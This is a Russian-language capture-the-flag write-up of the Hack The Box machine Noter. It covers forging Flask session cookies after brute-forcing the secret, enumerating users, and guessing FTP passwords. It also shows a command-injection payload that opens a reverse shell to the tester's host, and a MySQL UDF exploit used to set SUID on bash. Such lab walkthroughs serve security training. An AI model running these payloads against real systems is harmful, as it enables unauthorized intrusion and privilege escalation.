Хакер -HTB Noter. Ломаем веб-приложение на Flask
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- JWT
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе мы обойдем авторизацию в приложении на Flask, затем изучим исходные коды приложения, чтобы найти и проэксплуатировать уязвимость. Для повышения привилегий используем уязвимость установки плагина в MySQL.
Наша цель — прохождение средней по сложности машины Noter с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.160 noter.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашлось три открытых порта:
- 21 — служба vsftpd 3.0.3;
- 22 — служба OpenSSH 8.2p1;
- 5000 — веб‑сервер Python Werkzeug 2.0.2.
Анонимный вход на FTP закрыт, с SSH мы ничего не сделаем, поэтому идем смотреть веб.

ТОЧКА ВХОДА
На сайте есть возможность регистрироваться и авторизоваться, чем мы обязательно должны воспользоваться.

Я всю работу выполняю через Burp, поэтому в идентификаторе сессии пользователя сразу заметил токен JWT.

JWT
JSON Web Token хранит необходимую информацию о текущем сеансе. В числе прочего в нем содержится HMAC — hash-based message authentication code, код авторизации на основе хеша. Его‑то нам и предстоит подделать.
Для работы с JWT будем использовать утилиту Flask-Unsign.
sudo pip3 install Flask==2.1.0 flask_unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM'

Для создания HMAC требуется секретный ключ. Если мы сумеем восстановить или взломать секретный ключ, то сможем вносить любые изменения в информацию о сеансе. С помощью Flask-Unsign можем попробовать пробрутить секрет.
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM' --no-literal-eval

Мы получили секретный ключ, а значит, можем записать свои данные в сеанс, в данном случае сменить пользователя. Генерируем сессию, устанавливаем в браузере и обновляем страницу. Я попробовал пользователя admin, но ничего не вышло.
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123' --legacy


Скорее всего, такого пользователя не существует, поэтому нужно найти способ определить реальных пользователей. Сайт работает на Flask, к тому же предназначен для хранения заметок, поэтому первым делом я стал искать SSTI (включение шаблонов на стороне сервера) и XSS. Начал с создания заметки.

Затем я определил все места, где происходит вывод этого текста, но, к моему сожалению, везде используется экранирование.



Тест нагрузкой для XSS также не увенчался успехом. Тогда я решил посмотреть на механизм авторизации, а именно на сообщения, которые сервер отдаст в разных ситуациях. Иногда в таких случаях помогает определять время, которое затрачивается на проверку правильных и неправильных учетных данных. Но так далеко идти оказалось не нужно: сообщения для существующего и несуществующего пользователя оказались разными.


ТОЧКА ОПОРЫ
Вооружаемся Burp Intrueder и принимаемся за перебор.
Перекидываем запрос в Burp (Ctrl-I, Ctrl-Shift-I) и отмечаем для перебора логин.

Список имен пользователей берем из набора SecLists.

Устанавливаем 256 потоков (можно и больше).

В результирующую таблицу добавим еще один столбец, куда будет попадать сообщение об ошибке.
Для этого на вкладке Options перейдем к параметру Grep → Extract, найдем в ответе сервера сообщение об ошибке и установим флажок Extract from regex group.

Запускаем перебор и вскоре находим пользователя blue.

Теперь мы можем сгенерировать токен для найденного пользователя.
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' --legacy

Применяем токен, обновляем страницу и получаем сессию целевого пользователя на сайте.

Сразу просмотрим записи пользователя.

В одной заметке мы находим учетные данные пользователя blue для службы FTP и имя еще одного пользователя — ftp_admin. Вторая заметка особого интереса не представляет.


Подключаемся к службе FTP с найденным паролем и просматриваем файлы.

Там всего один документ PDF, забираем его.

В PDF описана парольная политика. Нас интересует пункт 4 в графе Password Creation.

Таким образом, пароль формируется по маске:
[username]@[sitename]!
По аналогии с паролем blue@Noter! для пользователя blue мы можем составить пароль для пользователя ftp_admin — ftp_admin@Noter!.

Подключившись c составленными учетными данными, получаем еще два файла бэкапов.
ПРОДВИЖЕНИЕ
Просматриваем исходные коды из бэкапов. В одном находим учетные данные для подключения к базе данных, а из второго раскрываем новые точки входа.

Так, через страницу /export_note_remote можно выполнить команду в командной оболочке /bin/bash. Команда формируется с использованием нашего пользовательского ввода, а именно содержимого заметки.

Эта страница принимает URL-адрес, на котором должна хоститься заметка. Поместим файл с реверс‑шеллом на своем сервере. При этом мы должны пройти шаблон, закрыть выполняемую команду node и только потом выполнить бэкконнект.
--'; bash -i >& /dev/tcp/10.10.14.81/4321 0>&1; echo'--

И на открытый листенер (запущенный командой rlwrap nc -lvnp 4321) мы получим бэкконнект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы имеем учетные данные к MySQL, причем для привилегированного пользователя root. Но чтобы удобно работать с MySQL, нам нужно создать нормальную TTY-оболочку. Самый простой способ сделать это — использовать модуль pty для Python.
python3 -c "import pty; pty.spawn('/bin/bash')"
А теперь можем подключиться к базе.
mysql -h localhost -u root -pNildogg36

Так как мы работаем от имени рута, в продвижении нам поможет создание пользовательской функции MySQL. Если скомпилировать такую функцию в виде библиотеки, то ее можно будет вызывать как встроенную. Мы создадим функцию, которая будет вызывать команды операционной системы. Они выполнятся с теми же привилегиями, что и работающая служба, то есть в данном случае от имени root.
Первое, что стоит проверить, — это включена ли переменная secure_file_priv. Она позволит нам разрешить операции импорта и экспорта данных — такие как функции load_file и load_data.
show variables like '%secure_file_priv%';

Значение равно null, то есть переменная отключена, и мы можем загрузить данные в базу. Теперь нужно получить системный каталог с плагинами MySQL. Именно в него нам и нужно будет добавить библиотеку.
show variables like '%plugin%';

В качестве библиотеки используем готовый код, который нужно будет скомпилировать.
wget https://www.exploit-db.com/raw/1518 -O 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o
Затем загружаем этот эксплоит на удаленный хост и с помощью MySQL копируем его в каталог с плагинами.
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Теперь создадим пользовательскую функцию do_system. И сразу проверим, доступна ли она в MySQL.
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;

Теперь мы можем выполнять команды в привилегированном контексте. В качестве метода персистентности установим бит SUID файлу командной оболочки /bin/bash.
select do_system('chmod u+s /bin/bash');
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Команда успешно выполнена, а значит, мы можем запустить Bash в привилегированном контексте и забрать флаг рута.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei